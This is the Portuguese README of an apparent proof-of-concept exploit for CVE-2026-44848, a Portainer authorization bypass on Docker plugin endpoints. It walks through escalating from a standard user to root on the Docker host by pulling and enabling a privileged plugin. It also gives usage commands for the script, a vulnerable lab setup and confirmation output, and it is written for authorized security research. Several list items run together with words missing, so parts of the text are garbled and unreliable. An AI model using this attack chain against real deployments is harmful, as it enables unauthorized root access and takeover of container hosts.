
PoC para CVE-2026-44848: falta de autorização no Portainer em endpoints de plugins Docker -> RCE no host (GHSA-rrmm-9v76-h3p4). Python somente com stdlib.
Prova de conceito para CVE-2026-44848, uma vulnerabilidade de autenticação ausente (CWE-862) no Portainer que permite que um usuário não administrador com acesso ao endpoint Docker execute operações privilegiadas de plugins Docker → RCE total no host.
Aviso de Segurança do GitHub: GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (Crítico).
O Portainer aplica Controle de Acesso Baseado em Funções (RBAC) sobre a API do Docker ao fazer proxy das
solicitações por meio de manipuladores por recurso que aplicam verificações de autorização. Os endpoints de
gerenciamento de plugins do Docker (/plugins/*) não foram registrados com um manipulador, então
a camada de autorização nunca é executada para eles. Como resultado, um Usuário Padrão (Função 2) — ou qualquer
função com acesso em nível de endpoint — pode chamar operações privilegiadas de plugins diretamente contra
o daemon Docker subjacente:
POST /plugins/pull — extrair um plugin arbitrário de qualquer registroCAP_SYS_ADMIN e montagens de caminhos do hostPOST /plugins/{name}/enable — o Docker executa o plugin como root no host com essas
capabilidades → acesso total ao sistema de arquivos do host e equivalente a root no host Docker>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0A primitiva central e seguramente reproduzível do bug: um usuário padrão (não administrador) pode alcançar
a API Docker privilegiada /plugins/* através do proxy do Portainer sem autorização.
Ele faz isso de ponta a ponta contra uma instância real vulnerável do Portainer:
POST /api/users/admin/init (tolerando 409 e recorrendo ao login).bob, Função 2), tolerando 409 ao redefinir a senha dele.POST /api/endpoints se nenhum existir) e concede acesso a bob via
PUT /api/endpoints/{id} UserAccessPolicies.bob (o usuário não administrador) e chama
GET /api/endpoints/1/docker/plugins com o token do bob.# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
Requer apenas a biblioteca padrão do Python 3. A verificação TLS está desabilitada (certificados de laboratório autoassinados).
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
Apenas para pesquisa e testes de segurança autorizados. A etapa de habilitação (POST /plugins/*)
pode conceder root no host; este PoC se limita a demonstrar o bypass de autorização e
não habilita um plugin destrutivo/malicioso. Use apenas contra sistemas que você possui ou está
autorizado a testar.